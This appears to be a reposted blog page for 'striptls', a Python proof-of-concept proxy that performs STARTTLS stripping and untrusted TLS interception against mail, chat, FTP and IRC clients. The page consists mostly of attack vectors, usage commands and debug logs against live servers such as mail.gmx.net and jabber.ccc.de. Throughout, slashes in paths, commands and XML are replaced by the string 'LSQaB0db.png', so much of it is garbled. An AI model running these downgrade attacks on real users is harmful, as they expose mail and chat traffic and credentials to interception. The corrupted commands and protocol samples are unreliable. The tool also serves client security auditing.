Pentest Tools
Published on March 13th, 2016 📆 | 3750 Views ⚑
Striptls – Proxy POC Implementation Of STARTTLS Stripping Attacks

iSpeech
poc implementation of STARTTLS stripping attacks
SMTP
SMTP.StripFromCapabilities - server response capability patch
SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
SMTP.StripWithTemporaryError
SMTP.StripWithError
SMTP.ProtocolDowngradeStripExtendedMode
SMTP.InjectCommand
POP3
POP3.StripFromCapabilities
POP3.StripWithError
POP3.UntrustedIntercept
IMAP
IMAP.StripFromCapabilities
IMAP.StripWithError
IMAP.UntrustedIntercept
IMAP.ProtocolDowngradeToV2
FTP
FTP.StripFromCapabilities
FTP.StripWithError
FTP.UntrustedIntercept
NNTP
NNTP.StripFromCapabilities
NNTP.StripWithError
NNTP.UntrustedIntercept
XMPP
XMPP.StripFromCapabilities
XMPP.StripInboundTLS
XMPP.UntrustedIntercept
ACAP (untested)
ACAP.StripFromCapabilities
ACAP.StripWithError
ACAP.UntrustedIntercept
IRC
IRC.StripFromCapabilities
IRC.StripWithError
IRC.UntrustedIntercept
IRC.StripWithNotRegistered
IRC.StripCAPWithNotregistered
IRC.StripWithSilentDrop
[adsense size='1']
Results:
- [*] client: 127.0.0.1

-     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>

-     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>

-     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>

-     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

- [*] client: 192.168.139.1

-     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>

-     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>

-     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>
Usage 
#> python -m striptls --help    # from pipLSQaB0db.pngsetup.py

#> python striptls --help       # from source LSQaB0db.png root folder

Usage: striptls [options]
       example: striptls --listen 0.0.0.0:25 --remote mail.server.tld:25
    Options:

      -h, --help            show this help message and exit

      -v, --verbose         make lots of noise [default]

      -l LISTEN, --listen=LISTEN

                            listen ip:port [default: 0.0.0.0:<remote_port>]

      -r REMOTE, --remote=REMOTE

                            remote target ip:port to forward sessions to

      -k KEY, --key=KEY     SSL Certificate and Private key file to use, PEM

                            format assumed [default: server.pem]

      -x VECTORS, --vectors=VECTORS

                            Comma separated list of vectors. Use 'ALL' (default)

                            to select all vectors. Available vectors:

                            ACAP.StripFromCapabilities, ACAP.StripWithError,

                            ACAP.UntrustedIntercept, FTP.StripFromCapabilities,

                            FTP.StripWithError, FTP.UntrustedIntercept,

                            IMAP.StripFromCapabilities, IMAP.StripWithError,

                            IMAP.UntrustedIntercept,

                            IRC.StripCAPWithNotRegistered,

                            IRC.StripFromCapabilities, IRC.StripWithError,

                            IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,

                            IRC.UntrustedIntercept, NNTP.StripFromCapabilities,

                            NNTP.StripWithError, NNTP.UntrustedIntercept,

                            POP3.StripFromCapabilities, POP3.StripWithError,

                            POP3.UntrustedIntercept, SMTP.InjectCommand,

                            SMTP.ProtocolDowngradeStripExtendedMode,

                            SMTP.ProtocolDowngradeToV2,

                            SMTP.StripFromCapabilities, SMTP.StripWithError,

                            SMTP.StripWithInvalidResponseCode,

                            SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,

                            XMPP.StripFromCapabilities, XMPP.StripInboundTLS,

                            XMPP.UntrustedIntercept [default: ALL]
Install (optional) 

from pip
#> pip install striptls
from source
#> setup.py install












Examples 
                  inbound                    outbound

[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peerLSQaB0db.pngtarget]

  smtp-client                   striptls                    remoteLSQaB0db.pngtarget
local smtp-client -> localhost:8825 (proxy) -> mail.gmx.net:25 

Audit Mode 

iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.
#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25

2016-02-02 22:11:56,275 - INFO     - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripFromCapabilities at 0xffd4632c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripWithError at 0xffd4635c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.UntrustedIntercept at 0xffd4638c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripWithError at 0xffd4629c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripWithError at 0xffd4641c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.StripWithError at 0xffd461dc>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.UntrustedIntercept at 0xffd4620c>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>

2016-02-02 22:11:56,275 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithError at 0xffd4614c>

2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>

2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>

2016-02-02 22:11:56,276 - DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>

2016-02-02 22:11:56,276 - DEBUG    - * added test (port:5222 , proto:    XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>

2016-02-02 22:11:56,276 - INFO     - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>

2016-02-02 22:12:08,477 - DEBUG    - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-02-02 22:12:08,530 - INFO     - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected

2016-02-02 22:12:08,530 - INFO     - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)

2016-02-02 22:12:08,805 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'

2016-02-02 22:12:08,805 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithInvalidResponseCode new: True>

2016-02-02 22:12:09,759 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-02-02 22:12:09,850 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-02-02 22:12:09,851 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'

2016-02-02 22:12:09,867 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'STARTTLS\r\n'

2016-02-02 22:12:09,867 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'

2016-02-02 22:12:09,867 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server][mangled] None

2016-02-02 22:12:09,883 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'

2016-02-02 22:12:09,983 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '530 Authentication required\r\n'

2016-02-02 22:12:09,992 - DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'rset\r\n'

2016-02-02 22:12:10,100 - DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250 OK\r\n'

2016-02-02 22:12:10,116 - WARNING  - <Session 0xffcf6e4cL> terminated.

2016-02-02 22:12:13,056 - DEBUG    - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-02-02 22:12:13,056 - INFO     - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected

2016-02-02 22:12:13,057 - INFO     - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)

2016-02-02 22:12:13,241 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'

2016-02-02 22:12:13,241 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithTemporaryError new: True>

2016-02-02 22:12:14,197 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-02-02 22:12:14,289 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-02-02 22:12:14,304 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'STARTTLS\r\n'

2016-02-02 22:12:14,305 - DEBUG    - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'

2016-02-02 22:12:14,305 - DEBUG    - <Session 0xffd0918cL> [client] => [server][mangled] None

2016-02-02 22:12:14,320 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'

2016-02-02 22:12:14,411 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '530 Authentication required\r\n'

2016-02-02 22:12:14,415 - DEBUG    - <Session 0xffd0918cL> [client] => [server]          'rset\r\n'

2016-02-02 22:12:14,520 - DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250 OK\r\n'

2016-02-02 22:12:14,535 - WARNING  - <Session 0xffd0918cL> terminated.

2016-02-02 22:12:16,649 - DEBUG    - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-02-02 22:12:16,650 - INFO     - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected

2016-02-02 22:12:16,650 - INFO     - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)

2016-02-02 22:12:16,820 - DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'

2016-02-02 22:12:16,820 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>

2016-02-02 22:12:17,760 - DEBUG    - <Session 0xffd0926cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-02-02 22:12:17,849 - DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-02-02 22:12:17,849 - DEBUG    - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'

2016-02-02 22:12:17,871 - WARNING  - <Session 0xffd0926cL> terminated.

2016-02-02 22:12:20,071 - DEBUG    - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-02-02 22:12:20,072 - INFO     - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected

2016-02-02 22:12:20,072 - INFO     - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)

2016-02-02 22:12:20,239 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'

2016-02-02 22:12:20,240 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithError new: True>

2016-02-02 22:12:21,181 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-02-02 22:12:21,269 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-02-02 22:12:21,280 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'STARTTLS\r\n'

2016-02-02 22:12:21,281 - DEBUG    - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'

2016-02-02 22:12:21,281 - DEBUG    - <Session 0xffd0934cL> [client] => [server][mangled] None

2016-02-02 22:12:21,289 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'

2016-02-02 22:12:21,381 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '530 Authentication required\r\n'

2016-02-02 22:12:21,386 - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'rset\r\n'

2016-02-02 22:12:21,469 - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250 OK\r\n'

2016-02-02 22:12:21,485 - WARNING  - <Session 0xffd0934cL> terminated.

2016-02-02 22:12:23,665 - WARNING  - Ctrl C - Stopping server

2016-02-02 22:12:23,665 - INFO     -  -- audit results --

2016-02-02 22:12:23,666 - INFO     - [*] client: 127.0.0.1

2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>

2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>

2016-02-02 22:12:23,666 - INFO     -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>

2016-02-02 22:12:23,666 - INFO     -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
 [adsense size='1']

Strip STARTTLS from server capabilities 
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities

2016-01-31 15:44:35,000 - INFO     - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.

2016-01-31 15:44:35,000 - INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>

2016-01-31 15:44:37,030 - DEBUG    - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-01-31 15:44:37,032 - INFO     - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected

2016-01-31 15:44:37,032 - INFO     - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)

2016-01-31 15:44:39,051 - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'

2016-01-31 15:44:40,335 - DEBUG    - <Session 0x1fe6f10> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-01-31 15:44:40,746 - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-01-31 15:44:40,746 - DEBUG    - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'

2016-01-31 15:44:40,746 - DEBUG    - <Session 0x1fe6f10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'

2016-01-31 15:44:41,292 - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '530 Authentication required\r\n'

2016-01-31 15:44:41,292 - DEBUG    - <Session 0x1fe6f10> [client] => [server]          'rset\r\n'

2016-01-31 15:44:41,605 - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250 OK\r\n'

2016-01-31 15:44:41,612 - WARNING  - <Session 0x1fe6f10> terminated.
Invalid STARTTLS response code 
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode

2016-01-31 15:42:40,325 - INFO     - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.

2016-01-31 15:42:40,325 - INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>

2016-01-31 15:43:19,755 - DEBUG    - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-01-31 15:43:19,756 - INFO     - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected

2016-01-31 15:43:19,756 - INFO     - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)

2016-01-31 15:43:21,473 - DEBUG    - <Session 0x1feff10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'

2016-01-31 15:43:22,395 - DEBUG    - <Session 0x1feff10> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-01-31 15:43:23,019 - DEBUG    - <Session 0x1feff10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-01-31 15:43:23,019 - DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'

2016-01-31 15:43:23,035 - DEBUG    - <Session 0x1feff10> [client] => [server]          'STARTTLS\r\n'

2016-01-31 15:43:23,035 - DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'

2016-01-31 15:43:23,035 - DEBUG    - <Session 0x1feff10> [client] => [server][mangled] None

2016-01-31 15:43:23,035 - DEBUG    - <Session 0x1feff10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'

2016-01-31 15:43:23,160 - DEBUG    - <Session 0x1feff10> [client] <= [server]          '530 Authentication required\r\n'

2016-01-31 15:43:23,160 - DEBUG    - <Session 0x1feff10> [client] => [server]          'rset\r\n'

2016-01-31 15:43:23,269 - DEBUG    - <Session 0x1feff10> [client] <= [server]          '250 OK\r\n'

2016-01-31 15:43:23,285 - WARNING  - <Session 0x1feff10> terminated.
Untrusted SSL Intercept (for clients not checking server cert trust) 
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept

2016-01-31 15:59:02,417 - INFO     - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.

2016-01-31 15:59:02,417 - INFO     - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>

2016-01-31 15:59:06,292 - DEBUG    - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)

2016-01-31 15:59:06,293 - INFO     - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected

2016-01-31 15:59:06,293 - INFO     - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)

2016-01-31 15:59:06,561 - DEBUG    - <Session 0x1f46990> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'

2016-01-31 15:59:07,500 - DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-01-31 15:59:07,565 - DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'

2016-01-31 15:59:07,581 - DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'

2016-01-31 15:59:07,581 - DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'

2016-01-31 15:59:07,832 - DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake

2016-01-31 15:59:07,832 - DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'

2016-01-31 15:59:07,926 - DEBUG    - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake

2016-01-31 15:59:08,219 - DEBUG    - <Session 0x1f46990> [client] => [server][mangled] None

2016-01-31 15:59:08,219 - DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'

2016-01-31 15:59:08,312 - DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'

2016-01-31 15:59:08,312 - DEBUG    - <Session 0x1f46990> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'

2016-01-31 15:59:08,407 - DEBUG    - <Session 0x1f46990> [client] <= [server]          '530 Authentication required\r\n'

2016-01-31 15:59:08,407 - DEBUG    - <Session 0x1f46990> [client] => [server]          'rset\r\n'

2016-01-31 15:59:08,469 - DEBUG    - <Session 0x1f46990> [client] <= [server]          '250 OK\r\n'

2016-01-31 15:59:08,484 - WARNING  - <Session 0x1f46990> terminated.
XMPP Audit Trail 

Example: Pidgin with optional transport security.

XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls 
    python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ..LSQaB0db.pngserver.pem

    2016-02-05 16:53:28,842 - INFO     - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> ready.

    ...

    2016-02-05 16:53:30,401 - DEBUG    - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)

    ...

    2016-02-05 16:53:30,401 - INFO     - <Session 0x7f083196a7d0> client ('192.168.139.1', 56888) has connected

    2016-02-05 16:53:30,402 - INFO     - <Session 0x7f083196a7d0> connecting to target ('jabber.ccc.de', 5222)

    2016-02-05 16:53:30,923 - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' version='1.0'>"

    2016-02-05 16:53:30,925 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripInboundTLS new: True>

    2016-02-05 16:53:31,005 - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"

    2016-02-05 16:53:31,009 - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:features><c xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngprotocolLSQaB0db.pngcaps' hash='sha-1' node='http:LSQaB0db.pngLSQaB0db.pngwww.process-one.netLSQaB0db.pngenLSQaB0db.pngejabberdLSQaB0db.png' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='LSQaB0db.png><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><requiredLSQaB0db.png><LSQaB0db.pngstarttls><LSQaB0db.pngstream:features>"

    2016-02-05 16:53:31,012 - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'LSQaB0db.png>"

    2016-02-05 16:53:31,069 - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] performing outbound SSL handshake

    2016-02-05 16:53:31,199 - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server][mangled] "<stream:features><c xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngprotocolLSQaB0db.pngcaps' hash='sha-1' node='http:LSQaB0db.pngLSQaB0db.pngwww.process-one.netLSQaB0db.pngenLSQaB0db.pngejabberdLSQaB0db.png' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='LSQaB0db.png><LSQaB0db.pngstream:features>"

    2016-02-05 16:53:31,203 - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin<LSQaB0db.pngusername><LSQaB0db.pngquery><LSQaB0db.pngiq>"

    2016-02-05 16:53:31,259 - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"

    2016-02-05 16:53:31,263 - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'><LSQaB0db.pnginvalid-namespace><LSQaB0db.pngstream:error>"

    2016-02-05 16:53:31,266 - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          '<LSQaB0db.pngstream:stream>'

    2016-02-05 16:53:31,269 - WARNING  - <Session 0x7f083196a7d0> terminated.
 [adsense size='1']

XMPP.StripFromCapabilities - strip starttls server annoucement 
    2016-02-05 16:53:34,633 - DEBUG    - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)

    2016-02-05 16:53:34,633 - INFO     - <Session 0x7f083196a910> client ('192.168.139.1', 56890) has connected

    2016-02-05 16:53:34,633 - INFO     - <Session 0x7f083196a910> connecting to target ('jabber.ccc.de', 5222)

    2016-02-05 16:53:34,741 - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' version='1.0'>"

    2016-02-05 16:53:34,742 - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>

    2016-02-05 16:53:34,810 - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http:LSQaB0db.pngLSQaB0db.pngetherx.jabber.orgLSQaB0db.pngstreams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"

    2016-02-05 16:53:34,814 - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:features><c xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngprotocolLSQaB0db.pngcaps' hash='sha-1' node='http:LSQaB0db.pngLSQaB0db.pngwww.process-one.netLSQaB0db.pngenLSQaB0db.pngejabberdLSQaB0db.png' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='LSQaB0db.png><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><requiredLSQaB0db.png><LSQaB0db.pngstarttls><LSQaB0db.pngstream:features>"

    2016-02-05 16:53:34,816 - DEBUG    - <Session 0x7f083196a910> [client] <= [server][mangled] "<stream:features><c xmlns='http:LSQaB0db.pngLSQaB0db.pngjabber.orgLSQaB0db.pngprotocolLSQaB0db.pngcaps' hash='sha-1' node='http:LSQaB0db.pngLSQaB0db.pngwww.process-one.netLSQaB0db.pngenLSQaB0db.pngejabberdLSQaB0db.png' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='LSQaB0db.png><LSQaB0db.pngstream:features>"

    2016-02-05 16:53:34,869 - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin<LSQaB0db.pngusername><LSQaB0db.pngquery><LSQaB0db.pngiq>"

    2016-02-05 16:53:34,920 - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'><LSQaB0db.pngpolicy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required<LSQaB0db.pngtext><LSQaB0db.pngstream:error><LSQaB0db.pngstream:stream>"

